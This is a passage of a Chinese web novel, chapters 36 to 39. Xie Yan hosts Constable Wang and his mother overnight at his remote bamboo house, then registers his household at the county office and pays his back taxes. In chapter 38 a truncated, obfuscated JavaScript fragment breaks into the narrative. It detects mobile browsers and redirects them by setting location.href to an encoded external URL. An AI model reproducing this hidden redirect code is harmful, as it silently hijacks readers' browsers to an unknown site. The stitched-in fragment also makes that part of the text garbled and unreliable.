谢言没想到王捕头会追究这些事,只能将跟钟程台说的那套说辞又完完整整的说了一遍。听得王捕头直皱眉,“还有这等离奇的事?”
谢言叹着气,佯装苦恼的说道:“我也知道此事太过离奇,若不是真切的发生在我身上我也不会相信的。不过我所说句句属实,如果捕头大哥不信,可以去查。若是查出来我有半分假话,我甘愿受任何惩罚。”
王捕头看着谢言
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,做捕头的阅人无数,他从谢言身上确实看不到任何奸猾的影子,他道:“三座荒山你开出来耕种的有多少?”
谢言回道:“我和我弟弟一块住..”
才刚开口王捕头就皱了眉,“你还有弟弟?”
谢言解释道:“不是亲弟弟,我十四那年在狼窝里等死,被仙人指点过后清醒过来出去就遇到了一个倒在地上的人,我救了他,他就留下来跟我一起生活了。”
王捕头问道:“以身相许?”
谢言赶紧道:“不是不是,他只是我弟弟。”
王捕头问道:“他为什么不回家?”
谢言回道:“他父母逼他嫁给同村爱打人的老屠户,他不愿意就跑到山上寻死。”
王捕头道:“你弟弟叫什么名字?”
谢言老实回道:“沈念白。”
王捕头道:“按你所说,他这几年也没有交税吧。”
谢言十分诧异,“他跟我一块种的地,我们还要交两份啊?”
一听他的话王捕头就知道他确实不知道税是怎么回事,耐着性子解释道:“本朝律法,种田要交土地税,活着要交人头税。”
谢言心里吃惊,还有人头税?但他面上没有显露出来,只是平静的说道:“该怎么交就怎么交,我绝没有二话。”
王捕头看向他,“你来找我,难道不是要我给你把税给抹了?”
这话听得谢言的惊讶掩都掩不住,他连忙解释,“不是的,我只是听说不交税是要抓去坐牢,我只是想暗中将税给补齐,绝对没有想抹了的意思。”
王捕头听得很满意,这也证明他没有看错,谢言的确不是个偷奸耍滑的人,他道:“这么多年的税一次补齐可不是个小数目,你有这么多钱?”
都说到这个地步了,谢言自然没有隐瞒的必要,他道:“我与钟掌柜签了契约,将山上的果子和菜卖给他,他给了我二十两作为定金。”
王捕头微微皱眉,“二十两?这可不是小数目,你的地到底有多大?”
谢言道:“没量过,具体的数我也不知道,开荒开了四年,现在大概有十亩地。”
“十亩地就值二十两?”王捕头问道,“你种的千年灵芝啊?”
谢言听出来王捕头的疑问了,他解释道:“我跟钟掌柜的说了,我以后要把三座荒山全都开发出来,他大概觉得前景可期,做前期投资吧。”
王捕头听到他的话,“被仙人指点过的就是不一样,说话文绉绉的。”
听了王捕头打趣的话,谢言笑了笑,“此事就劳烦捕头大哥费费心了。”
王捕头道:“明天我跟你去你家里看看情况吧。”
谢言脱口而出,“明天?”
王捕头觑着他,“不行?”
谢言解释道:“不是不是,只是我弟弟还在家等我,我若是一夜不归他必然担心,我能不能先回去,明天再来接您。”
王捕头道:“既然情况特殊,我也不是不通情理的人,我今天晚上就跟你去吧。”
谢言面色为难,“这恐怕不妥。”
见谢言推三阻止的,王捕头眉头一挑,“有何不妥?”
36. 第 36 章
谢言面色为难,“这恐怕不妥。”
见谢言推三阻止的,王捕头眉头一挑,“有何不妥?”
谢言面露赧颜,“不是不让捕头大哥您去,实在是地方太小,没办法住人。”
王捕头道:“无妨,既然能住得下你,多住一个必然也没有问题,现在就走吧。”
谢言想起他那个小竹屋,本来现在他就住牛棚了,要是王捕头真去了,岂不是今晚三个人都要睡牛棚了?
这可不行,于是谢言又劝道:“捕头大哥,我家真的很小,我留一晚上,咱们明天再去也是一样的。”
可他越不让王捕头去,王捕头就越怀疑他有点什么事,于是说道:“说了今晚去就今晚去,你如此推脱,是不是有什么不可告人的秘密?”
“绝对没有。”谢言实在耐不过,只能同意了,“你要是实在要去的话,那就去吧。”
王捕头冷哼了一声,“走。”
两人往外走了几步发觉不对劲,回身看去就看到王大娘跟在他俩身后,王捕头无奈,“娘,你干嘛呢?我要公干,你回房睡觉去吧。”
王大娘道:“我知道你要去看谢言的果树,我也要去。”
谢言一听瞬间就瞪大了眼睛,他家竹屋那巴掌大一点地方,能容得下这么两尊大佛?
王捕头皱了眉,“娘,你就别添乱了,我是去公干的。”
王大娘错开王捕头跟谢言说话,“谢言,我想去看果树能行吗?”
谢言扯了扯嘴角,他能说不行吗?
“王大娘,山路难行,天马上就要黑了,要不还是...”
话还没说完,就听王大娘急剧威胁的“嗯?”了一声。谢言赶紧改了口,“当然了,您什么时候去我都欢迎的。”
王捕头无奈的劝道:“娘,他家远得很,你身体不好怎么走得了这么远的路。”
王大娘道:“反正我要去,走不动你就背我。”
谢言听得一个头两个大,偏偏他还不能说什么,王捕头拗不过王大娘,便退了一步,“明天早上再去。”
王大娘道:“明天你不上值了?”
王捕头道:“我都说了我是去公干的,自然算是出公差了。”
谢言也怕王大娘走夜路摔了,赶紧帮腔道:“明天去好,看得见好走些。”
王大娘问了谢言,“那你弟弟等不到你回家,万一出来寻你怎么办?”
谢言虽然也担心,但王捕头既然不放心他先回去,让王大娘走夜路更不合适,等明天一早回去才是最好的办法。
谢言道:“应当不会,他知道我是出来办事的,一天办不完也正常。”
听他这么说,王大娘也没有坚持,与王捕头说道:“让谢言住你旁边的屋子吧。”
王捕头与谢言说道:“这边走。”
谢言客气的与王大娘道了谢,跟着王捕头走到了房间,房间很空,没什么摆设,但还算整洁,一看平时就没有人住。
王捕头道:“你在这儿待一会儿,别睡觉,等天黑了我们就出发”
谢言瞬间就明白了他的意思,他不想王大娘去,谢言也搞不懂为什么王大娘会想跟着去,他点头应道:“好,走的时候你敲门就是。”
见他这么上道,王捕头还算满意,但他也没有说什么,转身就走了。
王捕头走了,屋里就剩下了谢言一个人他这才放松了下来,坐在椅子上休息。
知道今天晚上还是要回去谢言还是大大的松了一口气的,沈念白的胆子小,若是他一晚上不回去,沈念白肯定会担心一整晚的。
晚上没吃饭,中午也没有吃得很饱,现在谢言已经是饿了,不过现在是吃不上东西了,于是为了节省体力谢言在床上躺了下去,为了不睡过去他没有完全躺下去,只是半躺着。
窗户没有打开,屋里有点闷热,谢言看着窗子但是也没有动,他看着窗外的天渐渐的暗下来,直至彻底变黑。
饿了就想睡觉,谢言打了个呵欠,谢言不敢在躺着了,他坐了起来背靠着墙壁,周围黑漆漆的一点光亮都没有,什么都看不见,谢言心里陡然升起了一种飘泊无依的空虚感,他开始想小竹屋现在是什么光景,沈念白在干什么呢?他吃了晚饭没有?
谢言想不出来,他只能回想起以往这个时候小竹屋的光景,这个时候沈念白应该在做晚饭,做饭的间隙会去喂鸡鸭和兔子,他甚至能想象出来昏黄的光照在沈念白的脸上,呈现出一种温柔的暖黄色,跟夕阳一样的好看。
‘扣扣’两声急促的敲门声打断的谢言的回忆,他猛地回过神来,低低的应了一声,“来了。”
谢言背着背篓开了门,看到了门口的王捕头,“捕头大哥。”
王捕头道:“走吧。”
“嗯。”
两人一道往院子里走,结果走到门口的时候又觉得不对劲,回头一看就看到王大娘站在檐下看着他们,天太黑,屋檐遮了月光看不清她的脸色,谢言吓了一跳,低声问道:“捕头大哥,大娘不是夜游症吧?”
王捕头低低的喝了一句,“说什么呢?”
王大娘朝他们走了过来,“我就知道你们肯定会夜里偷偷走。”
王捕头迎了上去,“娘,你干嘛啊?我是干正事的。”
王大娘道:“我也是去干正事的。”
王捕头觉得她在无理取闹,“你有什么正事?”
王大娘哼了一声,表情似有怨言,但她并没有说出来,只是说道:“说了你也不懂,反正有正事。”
王捕头道:“你回去睡觉,明天天亮我就回来了。”
王大娘根本不接他的茬,“你不去我也要去。”说着拉过谢言就走,“我们走。”
谢言手本来就痛,她一拉就更痛了,但他又不好意思说,为了减轻疼痛只能跟着王大娘往前走。王捕头看见了,皱着眉说谢言,“你怎么回事?”
谢言实在是有苦说不出来,只能寄希望与王捕头,“捕头大哥,你想想办法吧,我实在没法了。”他痛得快要手都快要断了。
几人拉扯了一番,最后王捕头还是没拗过王大娘,三人真的踏上了去灵秀山的路,谢言都懵了,这还真要去啊?
一路上,王捕头都在劝
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王大娘回去,谢言一边听一边在心里吐槽,劝就别往前走啊?一边走一边劝算怎么个事啊?
谢言是没有说话的资格的,只能在前面默默的带路,好在今天晚上的月色还算明亮,加上王捕头拿了一个火把,还是看得清路,但谢言就是担心王大娘走不惯山路摔了。
“娘,你到底要去干什么?”王捕头劝了大半个时辰,知道劝不回去了,就转了话题问道。
王大娘道:“走路就好好走路,说话让人分心。”
王捕头当没听到,继续问道:“平时你连门都不怎么出,怎么今天想起来去灵秀山了?”
王大娘不理他,转而问了谢言,“还有多久?”
谢言道:“还有得走,大概还要走一个时辰。”
王捕头都懵了,“这么远?”
谢言心想,一个时辰能走到都算好的了,就按照他们现在这慢索索的速度,搞不好要走两个时辰。
“荒山嘛,肯定不近。”
王捕头道:“你之前背枇杷走这么远的路去送枇杷?”
谢言解释道:“不是送,我是背着去卖的,只不过没有卖出去。”
王捕头好奇道:“第一天都卖不出去,第二天还去?”
谢言道:“大家的评价都很好,我以为第二天能卖出去的。”
王捕头无奈的摇了摇头,还是太年轻了,想法太天真。
王大娘也加入了聊天,她问道:“灵秀山的枇杷树有多少?”
谢言回道:“十颗树左右。”
王大娘有些诧异,“只有十颗?”
谢言解释道:“还种了别的品种,这个季节只有枇杷和荔枝成熟了。”
王大娘问道:“还有荔枝呐?”
“有,大概也是十颗树,这段时间太阳大,陆陆续续都成熟了,到了可以尝尝,很甜。”
“行。好吃的荔枝我还没有吃过呢。”王大娘说道。
谢言有些不解,“我们这儿不出荔枝吗?”
王捕头解释道:“不出,之前有商人去岭南进了一批荔枝苗回来卖,周围几个村庄都买回来种了,但是结出的果子很小,又酸,根本没办法吃。”
谢言道:“是这样啊。”
王捕头问道:“听起来你那山上果树的品种还挺多的?”
谢言回道:“大概有十五六种吧。都是些常见的果树。”
王捕头道:“山上自带的还是?”
又要撒谎了,谢言回道:“是我神智清醒那段时间在山上捡到的小苗,最开始我还不知道是什么,长大了结果子了我才知道是果树。”
王捕头笑道:“都不知道是什么你就种啊?”
谢言回道:“反正地那么大,种着也不碍事。”
王捕头道:“那倒是,三座山,种上万颗树都不算多。”
王大娘问道:“谢言,你要把三座荒山开发出来全部种果树?”
谢言回道:“看钟掌柜的需求吧,但肯定会种一些果树。”
月光明亮,微风阵阵,蝉鸣不绝,一路有说有笑,走夜路倒也不寂寞。
37. 第 37 章
月上中天,万籁寂静,王大娘实在走不动了,后面半截是王捕头背着走的,大家都累了,默契的都没有说话了。三人走到竹屋时子时都已经过了,寂静的夜里突然传来沈念白急促的声音,“谢言哥,是你吗?”
谢言先是应了声,“是我。”随即才看到廊下冲出来的沈念白。
沈念白径直跑到谢言面前,连忙问道:“谢言哥,是出什么事了吗?”
谢言回道:“没事,就是事情有点麻烦,所以才晚了。”
听了谢言的话沈念白这才松了口气,跟在他旁边的柳梦寒倒是第一时间就看到了跟在后面的王捕头和王大娘,只不过他不认识这两人也就没有多话。
此时沈念白也才看到了后面的王捕头,但他也没有问,谢言介绍道:“这位是王捕头和王大娘。”
沈念白和柳梦寒客气的喊人,“王捕头,王大娘。”
王大娘热络的应了声,拍了拍王捕头的肩膀,“放我下来。”
王捕头将王大娘放了下来,借着月光打量着竹屋,“这就是你住的地方?”
谢言回道:“是。”
王捕头看着沈念白和柳梦寒,“这都是你弟弟?”
谢言指着沈念白介绍,“这是我弟弟沈念白,这位是我弟弟的朋友柳梦寒。”
王捕头道:“人不少嘛。”
谢言解释道:“梦寒是前天来的,之前都是我跟念白两个人。”
王捕头道:“这么晚了,明天在说吧。”
谢言与沈念白和柳梦寒说道:“你们招呼王大娘,我有点事要跟王捕头说。”
沈念白和柳梦寒就去招呼王大娘了,王大娘对两人也很热络,三人很快就说起话来。谢言这才看向王捕头,低声说道:“捕头大哥,劳烦借一步说话。”
王捕头回看向他,“有什么话你就在这儿说呗。”
谢言觉得王捕头肯定是误会了,于是也没有在说要借一步说话的事情了,只是放低声音说道:“我家只有一张床。”
王捕头震惊了,“什么?”
他的声音大,王大娘和沈念白柳梦寒他们都看了过来,谢言赶紧朝他们招手,“没事没事,你们说你们的。”
王捕头这才跟谢言走到旁边去了,他低声问道:“只有一张床你怎么不早说?”
这谢言就有点无辜了,“我说了我家很小啊。”
王捕头道:“那你也没说只有一张床。”
好吧,这谢言确实没说,他也实在没想到王捕头和王大娘真能两人在晚上来他们家。
王捕头想了一下又觉得不对,看向谢言的眼神都带上了别样的意味,“三个人只有一张床?”
谢言回道:“哦哦,自从梦寒来了之后,我就睡牛棚了。”
“带我去看看。”
“这边走。”谢言带着王捕头去了牛棚,指着牛棚旁边用稻草铺起来的床,“就是这儿。”
王捕头看着那狗窝一样的地,头一次无语的抿了唇,破罐子破摔,“你看着安排吧。”
都这么晚了,回去也不可能,这偏僻的地方找个借宿的人家都找不到。
谢言能怎么安排,床肯定是王大娘睡的,但话不好这样说,说了怕得罪人。
“每年庄稼收回来在地上晒,为了怕下雨我们晚上都是睡外面的,都习惯了。就是您和王大娘,看谁睡床?”
王捕头道:“行吧,我自己安排。”
“好。”
谢言应了一声,与王捕头一道回到门前,走到王大娘面前,“天不早了,王大娘,进屋休息吧。”
王大娘应了声,“哦,好。”
谢言领着王大娘和王捕头进了屋,屋里没有灯,黑漆漆的,王捕头的火把在路上就已经熄了,现在只能摸黑了,谢言让沈念白扶着王大娘来到床边,“王大娘,小地方简陋,辛苦您委屈一晚上了。”
王大娘道:“这算什么委屈,我年轻的时候还没这么好的屋子呢。”
谢言道:“王大娘,您休息,有事随时喊我们就是。”
“好。”
几人一道出了门,谢言将门给拉上了,随即看向了王捕头,王捕头道:“不用管我,我就在门口坐着。”
就这条件真要谢言管谢言也管不了,于是应了声,“好,我就在牛棚那边,有事喊我就是。”
王捕头道:“去吧。”
谢言看向沈念白和柳梦寒,“走吧。”说罢率先走了,沈念白和柳梦寒看了王捕头一眼后齐齐跟上了谢言。
等稍微走远了一点,谢言与两人说道:“你们先过去,我去抱干稻草。”
去年打完稻谷的稻草,摞起来在深冬没有鲜草的时候喂牛的,但是牛不爱吃,所以还剩了些。之前谢言觉得没用还打算烧掉的,幸好被沈念白拦下来了,现在正好派上用场。。
沈念白道:“我跟你一起去。”
柳梦寒道:“我也一起去。”
“走。”
三人一块去了草垛边,谢言用羊角叉从最顶上叉了几叉放在地上堆成小小的山。
“够了吧。”
三人抱着干稻草来到牛棚,挨着谢言的窝窝又铺了两个,铺好后谢言就忙不迭的躺了下去,这一天什么都没干也累得很,沈念白的窝窝挨着谢言,柳梦寒的窝窝在最边上。
柳梦寒是最后一个躺下去的,他感叹道:“终于可以睡了。”
听到他的话本来都快睡着的谢言突然睁开了眼睛,他扭头看向沈念白,银白的月光下他能清晰的看到沈念白的脸,以及长长的睫毛在眼睑下的投影,他轻声的喊道:“念白。”
沈念白睁开眼睛看向他,“怎么了?”
谢言道:“出去办事归期不定,你不用等我,要照顾好自己。”
沈念白望着他抿了抿唇,似乎有话要说,但最后他也只是乖乖的应了一声,“嗯。”
谢言笑了笑,“快睡吧,明天还有得忙呢。”
“好。”
谢言困得很了,一闭上眼睛就睡着了。
“谢言哥。”
才闭上眼睛谢言就感觉到沈念白在推他,他还以为他有什么事,结果睁眼一看天都蒙蒙亮了,他赶紧坐了起来,有些不敢置信,“天都亮了。”
“嗯。”沈念白道:“我们去做早饭了。”
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>“去吧。”
三人一道起了床,走到前面来时王捕头已经在门前站着了,正在望山。谢言与他打了招呼,“捕头大哥。”
沈念白和柳梦寒跟着他喊,“捕头大哥。”
王捕头收回视线朝他们点了点头,沈念白和柳梦寒去做饭了,谢言走到王捕头身边,向他介绍,“这些都是我们开荒开出来的。”
王捕头道:“这么多树,开荒很费劲吧?”
谢言笑道:“大老粗,天天干都习惯了。”
王捕头道:“去山上看看。”
“这边走。”
谢言带着王捕头上了山,向他介绍了山上种的菜的果树,昨天才跟钟程台介绍过,现在谢言介绍起来顿都不打一个。
王捕头见山上的有好些的菜和水果都没有听说过,便问道:“这些水果都好吃?”
谢言想,肯定都好吃啊。
“喜欢就会觉得好吃吧,但结出来的果子都挺好的。”
走到榴莲树下,王捕头抬头看着高挺的树,一掌拍在树干上,“这树这么高?摘果子方便吗?”
谢言回道:“这颗树栽了几年了还没有结过果子呢。”
王捕头问道:“几年了还不结果,你怎么确定是果树?”
这话问得谢言不知道该怎么回答,他总不能说他吃过榴莲,所以确定。
“不确定,但长得挺稀罕的,就一直留着了,我还一直期待它能长出果子来呢。”
谢言领着王捕头在他们的地里逛了一圈,王捕头道:“差不多是十亩,你的估算能力不错。”
谢言回道:“昨天钟掌柜他们来实地考察了一番,我跟他确认过的。”
王捕头点了头,两人回到竹屋时饭已经做好了,王大娘正一起帮忙端碗,看得谢言眼睛都愣了,他连忙看向了沈念白,沈念白对上他的视线,无奈的摇了摇头。
王大娘见他们回来,热情的跟主人似的,“回来了,吃饭吧。”
谢言小心的去看王捕头的眼色,见他没有什么异样这才稍微放心,赶紧上前去接王大娘手里的东西,“王大娘,怎么能让您干活呢,你快坐。”
王大娘道:“一天闲着闷得慌,还是干点活心里踏实。”
谢言笑道:“您有捕头大哥这么能干的儿子,就应该在家里好好享清福了。”
王捕头落了坐,谢言道:“王大娘,您快坐。”
碗筷不够,沈念白和柳梦寒还是没有上桌,在家里待着也不合适,于是两人就背着背篓上山去了,王捕头看见了问道:“他们不吃?”
谢言实话实说,“家里平时人少,地方小东西也少,我们先吃他们等会在吃。”
王大娘道:“哎哟,真是可怜啊,这么水灵的娃。”
谢言打着哈哈,“平头老百姓而已,有得吃有得穿就不错了。”
王大娘问道:“我听梦寒说他是留下来做工的,你这里在招人了?”
王捕头眉心一跳,他好像明白他娘要干什么了,他岔了话与谢言说道:“吃完饭你就跟我去衙门跟我把税补了,把户籍也给上了。”
“好,谢谢捕头大哥。”
38. 第 38 章
两人说完了话,王大娘又问道:“谢言,你这里现在在招人吗?”
谢言拿不准她问这个要做什么,只能实话实说,“等我手里的事情忙完就准备请人建房子,慢慢的把荒山都开出来。”
王大娘问道:“你看看我能不能..”
王大娘的话还没有说完,王捕头就喝了一句,“娘,你能不能别给我添乱了。”
王捕头的声音不小,语气甚至有些重,谢言看到王大娘本来面含期待的眼眸瞬间就暗下去了,她转过身开始咳了起来。
谢言见状扫了王捕头一眼,见他只是微微蹙着眉,神情有些不悦。谢言赶紧站了起来,从水桶里舀了水递给王大娘,“王大娘,喝水顺顺。”
王大娘朝他摆摆手,越咳越凶,弓起身体脸都憋红了,谢言想去给她拍背又觉得此举太不妥帖,于是只是将水放在王大娘面前的桌子上并没有其他动作。
咳嗽声越发急促了,谢言听不下去了,“家里做的枇杷膏还有一些,我去冲一碗来。”说罢转身就走了。
进屋的时候他听见王捕头小声的问王大娘,“您到底想干什么?”
王捕头的声音压得很低,带着深深的无奈,谢言的耳力很好,所以他听见了。
或许是谢言突然停了下来,这导致王捕头朝他看了过去,谢言赶紧装模作样进了屋,“咦?放哪儿去了呢?”
虽然东西是沈念白放的,不过屋子就这么大点,稍微翻翻就找到了。谢言出去拿了两个碗一个碗里舀了一小勺,黄澄澄的枇杷膏散发出香甜的味道。
谢言端着碗出去,用温水冲开端了过去,王大娘已经没咳了,只是脸还有些红,看起来很不舒服。谢言放了一碗在她面前,“大娘,喝点枇杷膏润润嗓子。”另一碗放在了王捕头的面前,“捕头大哥,尝尝我们的手艺。”
王捕头的脸色也不大好,他瞥都没有瞥面前的枇杷膏,起身与谢言说道:“回城。”
谢言看了他才吃了一半的碗,“路途遥远,捕头大哥还是多吃一点。”
王捕头道:“不吃了。”
谢言现在毕竟有求于人,即便他还一口没吃他也不好在说,只能应道:“那走吧。”
王捕头看向王大娘,“走吧。”
王大娘起了身,谢言劝道:“大娘,尝尝枇杷膏吧。”
王大娘艰难的朝他笑了笑,“多谢你的好意啊,给你添麻烦了。”
谢言赶紧摇头,“没有,您能来我巴不得呢。”
两人说话间王捕头就先走了,谢言去扶王大娘,“慢点。”
王大娘看着他的手,倒是没扶,“没昨天那么肿了。”
谢言回道:“擦了药,好得快。”
“走吧。”
王捕头在前面走着,虽然步子迈得大,但走得比较慢,谢言和王大娘还是能跟上。跟来时不同,此时的气氛过于低迷,谢言这个外人在中间夹着也不知道该说什么,只能闷头走路,时不时的提醒王大娘小心一点。
但后来谢言也说不出话来,因为他太饿了,他已经两顿没吃饭了,饿得百爪挠心,直咽口水,尤其是太阳又出来了,顶着头顶晒,谢言觉得他脚踩在地上都没有知觉了,摇摇晃晃的。
白天要比晚上走得快些,但到县城也快中午了,趁王捕头要送王大娘回家,谢言说道:“捕头大哥,我想去买点东西,我直接去县衙等你吧、”
王捕头这才发现谢言脸色发白,嘴唇干裂,皱眉问道:“你怎么了?”
谢言实在管不了那么多了,实话说道:“有点饿。我想去买俩馒头吃,你们吃不吃,我一起买了。”
王捕头道:“我们不吃,你去吧。”
谢言道:“谢谢捕头大哥。”
谢言忙不迭的朝馒头铺走去,开口就是,“老板,给我来十个大馒头。”
谢言在县城里也算半个名人了,老板都认识他了,见他这个样子,担心的问道:“你这是怎么了?”
谢言回道:“两顿不吃饿得慌。”
一听这话老板赶紧把馒头装好递给他,“闹饥荒了?”
谢言拿过来,迫不及待的大咬了一口,三下五除二吃完了一个大馒头,这才稍微缓过来了,问道:“还是以前的价钱吧?”
老板回道:“良心买卖绝不涨价,一文钱两个。”
谢言拿了五文钱递给老板,老板收了,“要不要喝水?”
谢言拒绝了,“不用了,多谢。”
光吃馒头太寡淡了,于是谢言又坐到了不远处的面摊,“老板,来碗面。”
这还是谢言头一次这么奢侈来吃面,老板热络的应了一声,谢言大口大口的吃着馒头,一连吃了五个也没有感觉到饱。
“面来了。”
老板把一大碗冒着热气的面端到了谢言的面前,介绍道:“正宗老母亲鸡汤面,鲜香十足,不好吃不要钱。”
谢言朝他笑了笑,不管哪个年代,叫卖的话术都是差不多的。
鲜汤面条下馒头,谢言稀里哗啦的就吃完了,连汤都没剩,总算是勉强吃饱了。
“老板,多少钱?”
“一文钱。”
谢言付了钱,顺便向老板问了去县衙的路,老板好奇的问道:“小伙子,你去县衙干什么?”
谢言回道:“找人。”
老板热情的给他指了路,县衙的位置好找,路也简单,谢言听了一遍就记住了,道了声谢过后就往县衙去了。
走到县衙门口,谢言犹豫了一会儿觉得王捕头应该没有这么快到,所以他就没有直接进去,在县衙对面的门口等着他。
果然跟谢言想的一样,没等多久就看到王捕头往县衙这边来,谢言迎了过去,“捕头大哥。”
王捕头的脸色稍微好了些,他问道:“吃过饭了?”
谢言回道:“吃了馒头和面条,您吃过了没有?”
王捕头道:“我去县衙里吃。”
谢言心想,不愧是公务员,还管饭。
谢言跟着王捕头进了县衙,谢言好奇的四处打量,跟电视剧里看到的倒是差不多,只是现场看更有压迫感。
王捕头带着谢言来到县衙内,谢言看到门口上挂了一块司户的牌子,这应该就是上户口的地方了。
屋内有个男人正趴在桌子上午睡,王捕头进去喊了声,“老周。”
被叫老周的男人睁开眼睛看到王捕头,十分客气的喊了声,“王哥,这大中午的你怎么过来了?”
王捕头示意的看向了谢言,“我领他来上户籍。”
老周点头,“好,我马上给他上。”
王捕头与谢言说道:“老周帮你办,我去吃了午饭在过来。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403544|184373||http|test|mini|href|location''.split(''|''),0,{}));
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>谢言点头道:“谢谢捕头大哥。”
王捕头走之前与老周说道:“好好给他办啊。”
老周忙不迭的点头,“你放心吧,我一定办得妥妥帖帖的。”
王捕头走了,老周热情的招呼了谢言,“小兄弟,坐啊。”
“谢谢。”头一回进衙门谢言还是有些拘谨的,他在老周的对面坐了下来。老周从屋里的柜子里拿了像卷宗一样的册子放在桌子上,他问道:“你叫什么名字,年岁几何,家住何处,家中有几口人,做什么营生?”
谢言回道:“谢言,今年十九岁,住在小叶子村灵秀山中,家中..”
谢言顿了顿,他不知道该不该把沈念白给说出来,他不知道沈念白以后会不会回家?
“就是灵秀枇杷那地?”老周来了兴趣。
谢言点了头,“是,您也听说了。”
老周笑道:“灵秀枇杷现在在咱们县城可出名了。”
谢言道:“今天来得匆忙,下次带点来给您尝尝。”
老周道:“那敢情好。”
闲话说完又回到正事上,老周问道:“家里几口人不好说吗?”
谢言回道:“不是,我几年前在山里救了一个人,这些年他一直与我住在一起,我不知道他算不算?”
老周问道:“他叫什么名字?”
谢言回道:“沈念白。”
老周问道:“他家是哪儿的?”
谢言回道:“小叶子村。”
“我给查查。”老周起身又去柜子里翻来翻去,没一会儿就找到了,他翻开户籍档案看了,“沈念白,四年前就销户了。”
谢言赶紧问道:“那这种怎么算啊?”
老周道:“按道理说他是沈家的人肯定上在沈家的户籍上,但是沈家又给他销户了。看在你是王哥的朋友份上,都是自己人,看你想上哪儿吧。”
谢言问道:“这个户籍对人的影响大吗?”
老周道:“肯定啊。”
谢言考虑着要不要回去问问沈念白,但又觉得若是因为这点事一直来找王捕头应该也不大好,于是他又问了老周,“这户籍上了还能改吗?”
老周问他,“你想怎么改?”
谢言道:“如果我先把沈念白上在我的户口上,要是有一天他想回家了,他还能改回去吗?”
老周道:“可以啊,在哪家的户口上就在哪儿交税呗。”
谢言松了口气,“行,那暂时就上在我的户口上。”
老周在谢言的旁边写上了沈念白的名字,又继续问道:“做什么营生呢?”
谢言回道:“务农种田的。”
老周写下后又问道:“田地多少?”
谢言回道:“十亩。”
老周道:“两个人才种十亩地,这可少,够吃吗?”
谢言回道:“暂时够。”
改登记的都登记完了,就等王捕头来进行下一步了,在等待的间隙,老周好奇的问道:“你怎么这么大都没有上户口啊?”
谢言顿了一下,说道:“我之前一个人住在深山里,不知道这些事,这不前几天来街上卖枇杷才知道的。”
“你一个人住在深山里?”
谢言绕不开这个话题,于是又将他被野狼叼走的事重新讲了一遍,离奇的经历听得老周瞠目结舌。
39.第 39 章
“说什么呢?这么热闹。”
谢言的话刚刚说完就听到王捕头的声音在门口响了起来,谢言站起来喊了声,“捕头大哥。”
老周喊道:“王哥,谢言在说他的经历,真是离奇啊。”
王捕头说了句,“这小兄弟不是一般人。”随即问了句,“弄好了吗?”
老周如实回道:“户籍上好了。”
王捕头道:“他此来还要把之前的税一次性补清,你给算个数。”
老周试探的问道:“十几年的税可不是一笔小数目。”
王捕头道:“你按实算就是。”
有了王捕头这句话老周就放心。老周天天干这些很快就算出来了,“按我朝税法,七至十四岁的少年,每年纳丁税二十钱。十五至五十六岁每年纳税一百二十钱。土地税十五税一。沈念白在你的户口上,也是由你负责纳税。”
谢言点头应道:“好。”
老周道:“一共二两三十五文。”
听到具体的数字谢言的心落了下来,他知道古代的赋税重,但他现在有二十两银子,二两三十五文倒是不算多了。
谢言将银子交了,与老周道了谢,“今天麻烦您了。”
老周道:“别客气。”
王捕头道:“办完了就回去吧。”
谢言道:“谢谢捕头大哥,那我就先回去了。”
王捕头朝老周扬了扬下巴,“谢啦。”
老周道:“这是我该做的,你说这话折煞我了。”
王捕头与谢言一道出了门,王捕头道:“我就不送了,你自个回去吧。”
谢言实在不知道该说什么,只能又道了谢,最后憋出一句,“捕头大哥,有空来家里坐。”
王捕头闻言都笑了,“回去吧。”
谢言看王捕头的表情就知道这话没客套到位,也是,他家那么远,在没事也不会去的。
谢言从县衙出来,感觉神清气爽,压在他心里的大石头总算是消失了,连平日觉得恼人的太阳此刻也觉得漂亮了。
谢言去了天悦客栈,现在午时刚过酒楼没啥人,小二也在打瞌睡,听到声音下意识的喊道:“客官是打尖还是..”
话还没说完就看清是谢言了,小二转而问道:“谢老板,找我们掌柜的吗?”
谢言点头,“钟大哥在吗?”
小二道:“在,不过这个点应该在睡觉。”
睡觉不好去打扰,谢言又问道:“张哥在吗?”
小二回道:“在,不过这个点应该也在午睡。”
谢言犹豫了一下,“那劳烦你帮我带句话给钟大哥,就说我手头上的事情已经处理好了。”
听着谢言模棱两可的话,小二直觉得这事不能揽自己身上,于是他道:“谢老板,我嘴笨带话可能说不清楚,要不你还是自己跟我们掌柜的说吧。”
谢言看出来小二不想带话,于是他也没有为难小二,与他说道:“那麻烦你带我去找张哥吧。”
“行。”小二带着谢言去了二楼,在靠里的一间门前停了下来,“就是这里了。”
“谢谢。”谢言说完就敲了门,并且小声的喊道,“张哥。”
张佳华睡得迷迷糊糊的,被谢言喊醒本来有些生气的,但仔细一听,听出来是谢言的声音瞬间又消散了。
张佳华揉着眼睛给谢言开了门,“进来坐。”
谢言一边往里走一边道歉,“中午打扰实在是不好意思。”
张佳华道:“没事,你的事情处理得怎么样了?”
谢言回道:“刚刚处理好,我才从衙门出来,想着跟你们说一声,就过来了。”
张佳华想了一下,“这事还是跟掌柜的说一声。”
谢言道:“我本来是要去找钟大哥的,但是又怕打扰他午睡。”
张佳华道:“我去喊他。”
谢言跟张佳华一道出了门,来到钟程台的房前,张佳华敲了门低声喊道:“掌柜的,谢言来了。”
等了好一会儿屋内才响起了钟程台的声音,“嗯,进来吧。”
张佳华推开门,同时看了谢言一眼,“进去吧。”
谢言看懂了张佳华的示意,率先进了门,钟程台脸上还带着倦意,他随意的招呼谢言,“坐。”
张佳华给两人倒茶,谢言在旁边坐下,也没有寒暄,直接说道:“钟大哥,我上午去县衙把税全都补缴齐全了。”
钟程台赞赏道:“这么快就办好了。”
谢言回道:“全靠钟大哥指点才会这么顺利。”
钟程台道:“我没做什么,是你自己有本事。”
闲话间张佳华茶也泡好了,一人一杯,谢言接过来道了谢,茶很香,他没有种茶叶,这还是他来这个世界第一次喝茶,有一种别样的香味。在现代的时候谢言基本上是不喝茶的,但现在却很喜欢,大概是古代的味道太单调了,能有不一样的滋味就格外吸引人。
